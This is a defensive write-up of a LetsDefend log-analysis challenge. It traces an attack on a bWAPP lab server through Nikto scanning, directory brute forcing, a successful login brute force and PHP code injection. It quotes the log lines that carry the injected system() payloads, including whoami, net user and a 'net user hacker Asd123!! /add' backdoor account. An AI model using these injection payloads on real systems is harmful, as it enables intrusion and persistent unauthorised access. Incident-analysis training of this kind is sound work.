

Investigate Web Attack [Let's Defend – Write-up]

We detected some web attacks and need to do deep investigation.

Challenge File: /root/Desktop/ChallengeFile/access.log

| Start investigation

Q1: Which automated scan tool did attacker use for web reconnaissance?

```
30 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)"
31 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/ HTTP/1.1" 302 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:getinfo)"
32 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/ HTTP/1.1" 302 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
33 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.exe HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
34 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.show HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
35 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.java HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
36 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.x-shop HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
37 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.et HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
38 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.dpgs HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
39 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.bat[dir HTTP/1.1" 403 303 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
40 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac. HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
41 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.conf HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
42 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.nn HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
43 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.bin HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
44 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.access HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
45 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.dat HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
46 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.axd HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
47 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.l HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
48 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.com HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
49 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.cgi+ HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
50 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.aspx HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
51 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.log HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
52 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.xsl HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
53 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.cp866 HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
54 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.cellsprint HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
55 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.stat HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
56 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.xbb HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
57 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.ini HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
58 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.signature HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
59 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.sh HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
60 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwappp/4RaXX5Ac.sys HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
```

During the initial phase of the attack, the attacker performed an automated scan using Nikto/2.1.6 to identify potential vulnerabilities. The evidence for this is explicitly visible in the User-Agent string of the HTTP request headers. The logs show a rapid burst of requests—all occurring at the same second (12:36:24)—targeting various file extensions such as .exe, .conf, .log, and .ini.

Answer: Nikto.

Q2: After web reconnaissance activity, which technique did attacker use for directory listing discovery?

After the initial reconnaissance, the attacker used Directory Brute Forcing to discover the site's structure. This is evident from the high frequency of requests for common or random file paths that returned 404 errors with a uniform size of 300 bytes, showing an automated attempt to guess existing directories.

1987	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/ibill/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001694)"
1988	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/idea/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001695)"
1989	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/ideas/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001696)"
1990	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/imagenes/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001697)"
1991	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/img/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001698)"
1992	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/imgs/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001699)"
1993	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/import/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001700)"
1994	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/impreso/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001701)"
1995	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/includes/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001702)"
1996	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/incoming/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001703)"
1997	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/info/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001704)"
1998	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/informacion/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001705)"
1999	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/information/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001706)"
2000	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/ingresa/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001707)"
2001	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/ingreso/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001708)"
2002	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/install/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001709)"
2003	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/internal/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001710)"
2004	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/intranet/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001711)"
2005	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/invitados/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001712)"
2006	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/invitados/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001713)"
2007	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/java-plugin/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001714)"
2008	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/java/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001715)"
2009	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/jdbc/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001716)"
2010	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/job/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001717)"
2011	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/jrun/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001718)"
2012	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/jsp HTTP/1.1"	301 342	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001719)"
2013	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/lib/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001720)"
2014	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/library/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001721)"
2015	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/libro/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001722)"
2016	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/linux/ HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001723)"
2017	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/log.htm HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001724)"
2018	192.168.199.2	-	[20/Jun/2021:12:36:37 +0300]	"GET /bwapp/loq.html HTTP/1.1"	404 300	-	"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:001725)"

Answer: Directory brute force.

Q3: What is the third attack type after directory listing discovery?

12414	192.168.199.2	-	[20/Jun/2021:12:41:41 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12415	192.168.199.2	-	[20/Jun/2021:12:42:23 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12416	192.168.199.2	-	[20/Jun/2021:12:42:23 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12417	192.168.199.2	-	[20/Jun/2021:12:42:23 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12418	192.168.199.2	-	[20/Jun/2021:12:42:23 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12419	192.168.199.2	-	[20/Jun/2021:12:42:23 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12420	192.168.199.2	-	[20/Jun/2021:12:42:24 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12421	192.168.199.2	-	[20/Jun/2021:12:42:24 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12422	192.168.199.2	-	[20/Jun/2021:12:42:25 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12423	192.168.199.2	-	[20/Jun/2021:12:42:25 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12424	192.168.199.2	-	[20/Jun/2021:12:42:26 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12425	192.168.199.2	-	[20/Jun/2021:12:42:27 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12426	192.168.199.2	-	[20/Jun/2021:12:42:27 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12427	192.168.199.2	-	[20/Jun/2021:12:42:28 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12428	192.168.199.2	-	[20/Jun/2021:12:42:29 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12429	192.168.199.2	-	[20/Jun/2021:12:42:30 +0300]	"POST /bwAPP/login.php HTTP/1.1"	200 4086	"http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

Following the directory discovery, the attacker initiated a Login Brute Force attack targeting the /bwAPP/login.php endpoint via the POST method. The logs provide clear evidence of this through a rapid succession of requests. Every request resulted in an identical HTTP 200 OK response with a constant size of 4086 bytes, confirming the use of an automated tool to guess credentials.

Answer: brute force.

Q4: Is the third attack successful?

```
12545 192.168.199.2 - - [20/Jun/2021:12:49:35 +0300] "POST /bWAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bWAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12546 192.168.199.2 - - [20/Jun/2021:12:49:35 +0300] "POST /bWAPP/login.php HTTP/1.1" 302 - "http://192.168.199.5/bWAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12547 192.168.199.2 - - [20/Jun/2021:12:50:10 +0300] "POST /bWAPP/login.php HTTP/1.1" 302 - "http://192.168.199.5/bWAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12548 192.168.199.2 - - [20/Jun/2021:12:50:10 +0300] "GET /bWAPP/portal.php HTTP/1.1" 200 23369 "http://192.168.199.5/bWAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12549 192.168.199.2 - - [20/Jun/2021:12:50:15 +0300] "POST /bWAPP/portal.php HTTP/1.1" 302 23369 "http://192.168.199.5/bWAPP/portal.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
```

The Login Brute Force attack was successful. Evidence in the logs at 12:50:10 shows a shift from failed attempts (200 OK, 4086 bytes) to an HTTP 302 Redirect, followed by a successful GET request to /bWAPP/portal.php (23369 bytes). This redirect confirms the attacker successfully authenticated and gained access to the user portal.

Answer: yes.

Q5: What is the name of fourth attack?

```
12553 192.168.199.2 - - [20/Jun/2021:12:52:36 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27whoami%27) HTTP/1.1" 200 12778 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12554 192.168.199.2 - - [20/Jun/2021:12:52:46 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%27) HTTP/1.1" 200 13045 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12555 192.168.199.2 - - [20/Jun/2021:12:52:56 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20share%27) HTTP/1.1" 200 13175 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12556 192.168.199.2 - - [20/Jun/2021:12:53:13 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20Asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12557 192.168.199.2 - - [20/Jun/2021:12:53:23 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20Asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
```

After gaining unauthorized access, the attacker exploited the /bWAPP/phpi.php page by performing a PHP Code Injection attack through the message parameter. By injecting PHP system() functions into the URL, the attacker executed various OS commands between 12:52:36 and 12:53:23 to perform system enumeration, including whoami, net user, and net share. The attack culminated in a critical impact where the attacker attempted to establish persistence by creating a new administrative account using the command net user hacker Asd123!! /add.

Answer: code injection.

Q6: What is the first payload for 4th attack?

The first command injection payload is this:

```
2553 192.168.199.2 - - [20/Jun/2021:12:52:36 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27whoami%27) HTTP/1.1" 200 12778 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
2554 192.168.199.2 - - [20/Jun/2021:12:52:46 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%27) HTTP/1.1" 200 13045 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
2555 192.168.199.2 - - [20/Jun/2021:12:52:56 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20share%27) HTTP/1.1" 200 13175 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
2556 192.168.199.2 - - [20/Jun/2021:12:53:13 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20Asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
2557 192.168.199.2 - - [20/Jun/2021:12:53:23 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20Asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
```

Answer: whoami.

Q7: Is there any persistency clue for the victim machine in the log file? If yes, what is the related payload?

The logs confirm a persistency attempt on the victim machine through the creation of a new user account. Using the PHP Code Injection vulnerability at 12:53:13, the attacker executed the payload `%27net%20user%20hacker%20Asd123!!%20/add%27`. This command leverages the Windows net user utility to add a local user named "hacker" with the password "Asd123!!", ensuring the attacker can maintain long-term, administrative access to the system even after the initial session is terminated.

```
Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12552 192.168.199.2 - - [20/Jun/2021:12:51:37 +0300] "GET /bWAPP/phpi.php?message=test HTTP/1.1" 200 12759 "http://192.168.199.5/bWAPP/phpi.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12553 192.168.199.2 - - [20/Jun/2021:12:52:36 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27whoami%27) HTTP/1.1" 200 12778 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12554 192.168.199.2 - - [20/Jun/2021:12:52:46 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%27) HTTP/1.1" 200 13045 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12555 192.168.199.2 - - [20/Jun/2021:12:52:56 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20share%27) HTTP/1.1" 200 13175 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12556 192.168.199.2 - - [20/Jun/2021:12:53:13 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20Asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12557 192.168.199.2 - - [20/Jun/2021:12:53:23 +0300] "GET /bWAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20Asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
```

Answer: `%27net%20user%20hacker%20asd123!!%20/add%27`

Investigation Summary

The forensic analysis of the access.log file reveals a systematic multi-stage attack starting with **automated reconnaissance** using the **Nikto** scanner to identify server vulnerabilities. Following this, the attacker employed **Directory Brute Forcing** to map the application's structure.

The attack escalated to a successful **Login Brute Force** against the `/bWAPP/login.php` endpoint, which granted the attacker unauthorized access to the portal. Once authenticated, the attacker exploited a **PHP Code Injection** vulnerability in the `phpi.php` page to execute system commands. The incident concluded with a high-risk **persistence attempt**, where the attacker used the net user command to create a backdoor administrative account. This sequence demonstrates a complete compromise of the web application, moving from discovery to full system access and persistence.